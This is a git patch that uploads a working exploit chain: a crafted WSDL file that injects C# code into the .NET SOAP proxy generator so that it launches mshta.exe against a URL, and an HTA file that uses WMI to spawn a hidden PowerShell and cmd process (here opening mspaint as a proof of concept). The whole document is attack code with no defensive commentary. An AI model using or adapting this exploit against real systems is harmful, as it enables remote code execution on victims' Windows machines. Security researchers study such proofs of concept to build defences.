From 5e08b1579f2bde2aca4c51778badc10f1517330a Mon Sep 17 00:00:00 2001
From: Mohammed ALDOUB <Voulnet@users.noreply.github.com>
Date: Wed, 13 Sep 2017 12:50:38 +0300
Subject: [PATCH] Add files via upload

---
 cmd.hta     | 18 ++++++++++++++++++
 exploit.txt | 22 ++++++++++++++++++++++
 2 files changed, 40 insertions(+)
 create mode 100644 cmd.hta
 create mode 100644 exploit.txt
diff --git a/cmd.hta b/cmd.hta
new file mode 100644
index 0000000..7a4cd85
--- /dev/null
+++ b/cmd.hta
@@ -0,0 +1,18 @@
+<html>
+<head>
+<script language="VBScript">
+Sub window_onload
+	const impersonation = 3
+	Const HIDDEN_WINDOW = 12
+	Set Locator = CreateObject("WbemScripting.SWbemLocator")
+	Set Service = Locator.ConnectServer()
+	Service.Security_.ImpersonationLevel=impersonation
+	Set objStartup = Service.Get("Win32_ProcessStartup")
+	Set objConfig = objStartup.SpawnInstance_
+	Set Process = Service.Get("Win32_Process")
+	Error = Process.Create("powershell -nop cmd.exe /c mspaint.exe", null, objConfig, intProcessID)
+	window.close()
+end sub
+</script>
+</head>
+</html>
diff --git a/exploit.txt b/exploit.txt
new file mode 100644
index 0000000..99e34a6
--- /dev/null
+++ b/exploit.txt
@@ -0,0 +1,22 @@
+﻿<definitions
+    xmlns="http://schemas.xmlsoap.org/wsdl/"
+    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
+    xmlns:suds="http://www.w3.org/2000/wsdl/suds"
+    xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
+    xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
+    <portType name="PortType"/>
+    <binding name="Binding" type="tns:PortType">
+        <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
+        <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
+    </binding>
+    <service name="Service">
+        <port name="Port" binding="tns:Binding">
+            <soap:address location="http://127.0.0.1:8080?C:\Windows\System32\mshta.exe?http://127.0.0.1:8080/cmd.hta"/>
+                        <soap:address location=";
+                        if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
+                                System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
+                                System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
+                        } //"/>
+        </port>
+    </service>
+</definitions> 
